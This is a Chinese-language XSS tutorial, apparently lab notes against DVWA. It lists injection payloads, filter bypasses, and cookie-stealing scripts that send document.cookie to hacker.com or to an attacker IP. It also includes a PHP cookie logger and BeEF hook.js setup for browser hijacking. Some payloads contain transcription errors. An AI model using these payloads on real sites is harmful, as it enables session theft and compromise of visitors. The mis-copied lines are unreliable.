跨站脚本攻击XSS
1. XSS简介
跨站脚本( cross site script )为了避免与样式css混淆,所以简称为XSS。
XSS是一种经常出现在web应用中的计算机安全漏洞,也是web中最主流的攻击方式。"那么什么是XSS呢?
XSS是指恶意攻击者利用网站没有对用户提交数据进行转义处理或者过滤不足的缺点,进而添加一些代码 ,嵌入到web页
面中去。使别的用户访问都会执行相应的嵌入代码。
从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。
2. 原理解析
XSS主要原因:
过于信任客户端提交的数据!
XSS主要分类:
反射型xss攻击( Reflected XSS )又称为非持久性跨站点脚本攻击,它是最常见的类型的XSS。漏洞产生的原因是攻
击者注入的数据反映在响应中。一个典型的非持久性XSS包含一个带XSS攻击向量的链接( 即每次攻击需要用户的点击)。
存储型XSS ( Stored XSS)又称为持久型跨站点脚本,它一般发生在XSS攻击向量(一 般指XSS攻击代码)存储在网站数据
库,当一个页面被用户打开的时候执行。每当用户打开浏览器,脚本执行。持久的XSS相比非持久性XSS攻击危害性更大,
因为每当用户打开页面,查看内容时脚本将自动执行。谷歌的orkut曾经就遭受到XSS。
3. 构造XSS脚本
3.1 常见HTML标签
<iframe>
iframe|元素会创建包含另外-个文档的内联框架(即行内框架)。
<textarea>
<textarea> 标签定义多行的文本输入控件。
<img>
img元素向网页中嵌入-幅图像。
<script>
<script>标签用于定义客户端脚本,比如JavaScript。
script元素既可以包含脚本语句,也可以通过src属性指向外部脚本文件。
必需的type属性规定脚本的MIME类型。
JavaScript的常见应用时图像操作、表单验证以及动态内容更新。
3.2 常见的 JavaScript 方法
alert
alert()方法用于显示带有一条指定消息和一个确认按钮的警告框
window.location
window.location对象用于获得当前页面的地址(URL) ,并把浏览器重定向到新的页面。
location.href
返回当前显示的文档的完整URL
onload
一张页面或一幅图像完成加载
onsubmit
确认按钮被点击
onerror
在加载文档或图像时发生错误
3.3 构造XSS脚本
弹框警告
此脚本实现弹框提示, 一般作为漏洞测试或者演示使用,类似SQL注入漏洞测试中的单引号,一旦此脚本能执行,也就意
味着后端服务器没有对特殊字符做过滤<>/' 这样就可以证明,这个页面位置存在了XSS漏洞。
<script>alert('xss')</script>
<script>alert(document.cookie) </script>
页面嵌套
<iframe src=http://www.baidu.com width=300 height=300></iframe>
<iframe src=http://www.baidu.com width=0 height=0 border=0></iframe>
页面重定向
<script>window.location="http://www.baidu.com"</script>
<script>location.href="http://www.baidu.com"</script>
弹框警告并重定向
<script>alert("请移步到我们的新站" ) ;location.href="http://www.baidu.com"</script>
<script>alert('xss');1ocation.href="" http://10.15.64.35/mutillidae/robots.txt"</script>
这里结合了一些社工的思路,例如,通过网站内部私信的方式将其发给其他用户。如果其他用户点击并且相信了这个信
息,则可能在另外的站点重新登录账户(克隆网站收集账户)
访问恶意代码
<script src="http://www.baidu.com/xss.js"></script>
<script src="http://BeEF_IP:3000/hook.js"></script>|
结合BeEF收集用户的cookie
巧用图片标签
<img src="#" one rror=alert('XSS')>
<img src="javascript:alert('xss');">
<img src="http://BeEF_ IP:>000/hook.js"></img>
绕开过滤的脚本
大小写
<ScrIpt>alert('xss')</SCRipt>
字符编码采用URL、Base64等编码
<a
href="javascript:alert
;("xss")">xss</a>
收集用户cookie
打开新窗口并且采用本地cookie访问目标网页,打开新窗口并且采用本地cooki e访问目标网页。
<script>window.open("http://www.hacker.com/cookie.php?cookie=”+document.cookie)</script>
<script>document.location="http://www.hacker.com/cookie.php?cookie="+document.cookie</script>
<script>new Image().src= "http://www.hacker.com/cookie.php?cookie=" +document.cookie;</script>
<img src="http://www.hacker.com/cookie.php?cookie='+document.cookie"></img>
<iframe src="http://www.hacker.com/cookie.php?cookie=" +document.cookie"></iframe>
<script>new Image().src="http://www.hacker.com/cookie.php?cookie='+document.cookie";
img.width = 0;
img.height = 0;
</script>
4. 反射型XSS
4.1 安全级别
4.2 手工XSS
用户访问网页中的XSS链接,服务器接受并返回,用户执行反射回来的代码并解析执行。
# 弹窗警告
<script>alert('hi')</script>
<script>alert(document.cookie)</script>
5. 存储型XSS
存储型XSS (持久型XSS )即攻击者将带有XSS攻击的链接放在网页的某个页面,例如评论框等;
用户访问此XSS链接并执行,由于存储型XSS能够攻击所有访问此页面的用户,所以危害非常大。
5.1 手工【低】
攻击1弹框告警: 渗透机kali Linux 端操作
text1
<script>alert('xss')</script>
攻击2 获取cookie: 渗透机Kali Linux端操作
1.构建收集cookie服务器
2.构造XSS代码并植入到Web服务器
3.等待肉鸡触发XSS代码并将cookie发送到Kali
4.Cookie利用
vim /var/www/html/cookie_rec.php
<?php
$cookie = $_GET['cookie'];
$log = fopen("cookie.txt","a");
fwrite($log, $cookie . "\n");
fclose($log);
?>
设置权限用于存放cookie
chown -R www-data.www-data /var/www/
在XSS stored上输入以下脚本。如果是火狐有输入字数限制,请打开开发之模式修改maxlength即可。另外还需要设置浏览器允许弹出窗口!!
<script>window.open('http://192.168.1.131/cookie_rec.php?cookie='+document.cookie)</script>
注: 192.168.1.131为kali Linu
注:先清除之前植入的XSS代码
在cookie服务器上查看生成的cookie.txt文件。
6. 自动化XSS
6.1 BEef简介
Browser Exploitation Framework (BeEF )
BeEF是目前最强大的浏览器开源渗透测试框架,通过XSS漏洞配合JS脚本和Metasploit进行渗透:
BeEF是基于Ruby语言编写的,并且支持图形化界面,操作简单;
6.2 BEef的主要功能
-
信息收集:
- 网络发现
- 主机信息
- Cookie获取
- 会话劫持
- 键盘记录
- 插件信息
-
持久化控制:
- 确认弹框
- 小窗口
- 中间人
-
社会工程:
- 点击劫持
- 弹窗告警
- 虚假页面
- 钓鱼页面
-
渗透攻击:
- 内网渗透
- Metasploit
- CSRF攻击
- DDOS攻击
6.3 BEef实战
(1)先安装beef-xss。
#先更新一下软件然后安装beef-xss
apt-get update
apt-get install beef-xss
#启动beef
systemctl start beef-xss
#由于beef不允许弱命令登录(默认账号密码都是beef),在第一次登录时需要更改密码
#也可以修改beef-xss登录密码。编辑以下文件,直接修改passwd为root
cd /usr/share/beef-xss/
vim config.yaml
登录beef管理界面:
(2) 渗透机将脚本放在DWVA靶机中:
注: 192.168.1.128为BeEF所在机器,即Kali Linux IP
<script src="http://192.168.1.128:3000/hook.js"></script>
(3)执行之后kali端online browsers出现了我们真机的ip。点击真机,观察右边:
(4)试一试commands选项
- 重定向肉鸡访问的网页(网站自己设置):
肉鸡就会出现对话框提醒
- 重定向肉鸡访问的网页(网站自己设置):